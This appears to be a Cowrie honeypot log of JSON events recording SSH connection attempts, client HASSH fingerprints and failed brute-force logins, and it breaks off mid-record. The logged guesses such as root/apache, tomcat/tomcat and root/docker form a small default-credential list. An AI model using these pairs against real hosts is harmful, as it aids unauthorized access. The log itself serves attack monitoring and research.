{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:19.725308Z","src_ip":"192.109.200.237","session":"e109e82c4d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:19.807992Z","src_ip":"192.109.200.237","session":"e109e82c4d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:20.066243Z","src_ip":"192.109.200.237","session":"e109e82c4d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:20.524040Z","src_ip":"117.50.193.195","session":"50fe3c5d601f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":36622,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef29725ae4f0","protocol":"ssh","message":"New connection: 117.50.193.195:36622 (10.17.0.5:22) [session: ef29725ae4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:20.759699Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:21.151345Z","src_ip":"192.109.200.237","session":"e109e82c4d52","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:21.225983Z","src_ip":"117.50.193.195","session":"ef29725ae4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:21.230977Z","src_ip":"117.50.193.195","session":"ef29725ae4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:22.196761Z","src_ip":"117.50.193.195","session":"ef29725ae4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38386368751526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:22.201278Z","src_ip":"152.42.224.71","session":"6ad52bb41c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39680,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e79817de1cf","protocol":"ssh","message":"New connection: 192.109.200.237:39680 (159.203.135.109:22) [session: 1e79817de1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:22.774235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:22.825438Z","src_ip":"192.109.200.237","session":"1e79817de1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:22.911756Z","src_ip":"192.109.200.237","session":"1e79817de1cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:23.188442Z","src_ip":"192.109.200.237","session":"1e79817de1cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:23.439263Z","src_ip":"117.50.193.195","session":"ef29725ae4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":53770,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2715ae43bf0","protocol":"ssh","message":"New connection: 117.50.193.195:53770 (10.17.0.5:22) [session: a2715ae43bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:23.691058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:23.695766Z","src_ip":"117.50.193.195","session":"a2715ae43bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:24.273281Z","src_ip":"192.109.200.237","session":"1e79817de1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:24.630486Z","src_ip":"117.50.193.195","session":"a2715ae43bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39690,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9ab8dc4e005","protocol":"ssh","message":"New connection: 192.109.200.237:39690 (159.203.135.109:22) [session: d9ab8dc4e005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:25.963396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:25.968400Z","src_ip":"192.109.200.237","session":"d9ab8dc4e005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:26.054063Z","src_ip":"192.109.200.237","session":"d9ab8dc4e005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:26.302853Z","src_ip":"192.109.200.237","session":"d9ab8dc4e005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:26.721927Z","src_ip":"117.50.193.195","session":"a2715ae43bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:27.388765Z","src_ip":"192.109.200.237","session":"d9ab8dc4e005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:27.968307Z","src_ip":"117.50.193.195","session":"a2715ae43bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":53774,"dst_ip":"10.17.0.5","dst_port":22,"session":"290de11e8e50","protocol":"ssh","message":"New connection: 117.50.193.195:53774 (10.17.0.5:22) [session: 290de11e8e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:28.194397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:28.199730Z","src_ip":"117.50.193.195","session":"290de11e8e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6acfda5293","protocol":"ssh","message":"New connection: 192.109.200.237:39710 (159.203.135.109:22) [session: 3d6acfda5293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:28.949397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:28.953946Z","src_ip":"192.109.200.237","session":"3d6acfda5293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:29.041408Z","src_ip":"192.109.200.237","session":"3d6acfda5293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:29.294479Z","src_ip":"192.109.200.237","session":"3d6acfda5293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:29.435016Z","src_ip":"117.50.193.195","session":"290de11e8e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:30.380540Z","src_ip":"192.109.200.237","session":"3d6acfda5293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:31.093168Z","src_ip":"117.50.193.195","session":"290de11e8e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34984,"dst_ip":"159.203.135.109","dst_port":22,"session":"63671ba10ca1","protocol":"ssh","message":"New connection: 192.109.200.237:34984 (159.203.135.109:22) [session: 63671ba10ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.071138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.075180Z","src_ip":"192.109.200.237","session":"63671ba10ca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.160930Z","src_ip":"192.109.200.237","session":"63671ba10ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.336573Z","src_ip":"117.50.193.195","session":"290de11e8e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.406786Z","src_ip":"192.109.200.237","session":"63671ba10ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.193.195","src_port":53782,"dst_ip":"10.17.0.5","dst_port":22,"session":"c159eaa3b885","protocol":"ssh","message":"New connection: 117.50.193.195:53782 (10.17.0.5:22) [session: c159eaa3b885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.561780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:32.567003Z","src_ip":"117.50.193.195","session":"c159eaa3b885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:33.492822Z","src_ip":"192.109.200.237","session":"63671ba10ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34988,"dst_ip":"159.203.135.109","dst_port":22,"session":"edbfc1cb4670","protocol":"ssh","message":"New connection: 192.109.200.237:34988 (159.203.135.109:22) [session: edbfc1cb4670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:35.065391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:35.070447Z","src_ip":"192.109.200.237","session":"edbfc1cb4670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","e